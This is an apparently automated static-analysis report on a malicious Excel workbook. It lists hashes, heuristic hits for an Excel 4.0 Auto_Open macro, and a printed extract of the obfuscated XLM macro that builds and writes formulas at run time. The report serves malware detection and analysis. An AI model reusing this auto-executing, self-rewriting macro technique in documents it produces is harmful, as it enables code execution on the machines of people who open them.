Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3983bfbfdd28b2e6…

MALICIOUS

Office (OLE)

37.0 KB Created: 2020-11-25 10:29:16 Authoring application: Microsoft Excel First seen: 2021-01-15
MD5: f2651d72486998f0ffb39ec51108172e SHA-1: 8a080fddf21ab9e676a2e5c2879d7db2f64e9e69 SHA-256: 3983bfbfdd28b2e61c477a551c36465090a0ca4a17e9a7906518f5a5d522a810
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6631 bytes
SHA-256: d1ac5c8808ce0904bddf3d21cb4c798708813db43350aca093a04c600d495ca5
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  zlokqP
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G141 
' 0018     24 LABEL : Cell Value, String Constant - CkhCFqcRs len=0 
' 0018     25 LABEL : Cell Value, String Constant - EdGfxBCZRd len=0 
' 0018     23 LABEL : Cell Value, String Constant - fdNCoVFl len=0 
' 0018     27 LABEL : Cell Value, String Constant - GCKBtrtdMJEt len=0 
' 0018     27 LABEL : Cell Value, String Constant - JAPITgllOtzP len=0 
' 0018     24 LABEL : Cell Value, String Constant - kQMqPxfTg len=0 
' 0018     23 LABEL : Cell Value, String Constant - LsXEboiy len=0 
' 0018     22 LABEL : Cell Value, String Constant - OItzxDQ len=0 
' 0018     26 LABEL : Cell Value, String Constant - OJvXNGwXxcI len=0 
' 0018     25 LABEL : Cell Value, String Constant - qwOvXHzHSj len=0 
' 0018     25 LABEL : Cell Value, String Constant - RtvcQORqnQ len=0 
' 0018     22 LABEL : Cell Value, String Constant - sAirbqK len=0 
' 0018     26 LABEL : Cell Value, String Constant - TXqyGLwNQoa len=0 
' 0018     27 LABEL : Cell Value, String Constant - VEREZyqwgEbk len=0 
' 0018     24 LABEL : Cell Value, String Constant - VPGiwIOtC len=0 
' 0018     25 LABEL : Cell Value, String Constant - vscWolVQOG len=0 
' 0018     21 LABEL : Cell Value, String Constant - WWnYph len=0 
' 0018     27 LABEL : Cell Value, String Constant - XEazLYQyUqtk len=0 
' 0018     23 LABEL : Cell Value, String Constant - yYlRGRbf len=0 
' 0018     23 LABEL : Cell Value, String Constant - ZJGsYAdF len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  zlokqP,G47,"SET.NAME("OItzxDQ",VALUE("0"))",""
'  zlokqP,G51,"SET.NAME("kQMqPxfTg",OItzxDQ)",""
'  zlokqP,G55,"SET.NAME("vscWolVQOG",OItzxDQ)",""
'  zlokqP,G58,"SET.NAME("EdGfxBCZRd",COUNTA(GCKBtrtdMJEt))",""
'  zlokqP,G60,"SET.NAME("sAirbqK",COUNTA(yYlRGRbf))",""
'  zlokqP,G63,[],""
'  zlokqP,G68,"SET.NAME("LsXEboiy","")",""
'  zlokqP,G70,"kQMqPxfTg",""
'  zlokqP,G75,"SET.NAME("fdNCoVFl",HLOOKUP("*",GCKBtrtdMJEt,kQMqPxfTg,FALSE))",""
'  zlokqP,G80,"RtvcQORqnQ",""
'  zlokqP,G84,"SET.NAME("TXqyGLwNQoa",OItzxDQ)",""
'  zlokqP,G89,[],""
'  zlokqP,G93,"TXqyGLwNQoa",""
'  zlokqP,G97,"OJvXNGwXxcI",""
'  zlokqP,G99,"CkhCFqcRs",""
'  zlokqP,G104,"XEazLYQyUqtk",""
'  zlokqP,G108,"SET.NAME("ZJGsYAdF",VALUE(HLOOKUP("*",yYlRGRbf,XEazLYQyUqtk,FALSE)))",""
'  zlokqP,G111,"JAPITgllOtzP",""
'  zlokqP,G114,"LsXEboiy",""
'  zlokqP,G116,"vscWolVQOG",""
'  zlokqP,G120,NEXT(),""
'  zlokqP,G123,"qwOvXHzHSj",""
'  zlokqP,G126,"SET.NAME("f",INT(T(FORMULA(T(LsXEboiy)&"",""&T(qwOvXHzHSj)))))",""
'  zlokqP,G131,"VPGiwIOtC",""
'  zlokqP,G134,NEXT(),""
'  zlokqP,G139,RETURN(),""
'  zlokqP,G162,"SET.NAME("WWnYph",G47)",""
'  zlokqP,G166,"GCKBtrtdMJEt",""
'  zlokqP,G171,"SET.NAME("yYlRGRbf",R42C13)",""
'  zlokqP,G175,"SET.NAME("VPGiwIOtC",183)",""
'  zlokqP,G178,"SET.NAME("VEREZyqwgEbk",7)",""
'  zlokqP,G182,WWnYph(),""
'  zlokqP,G183,HALT(),""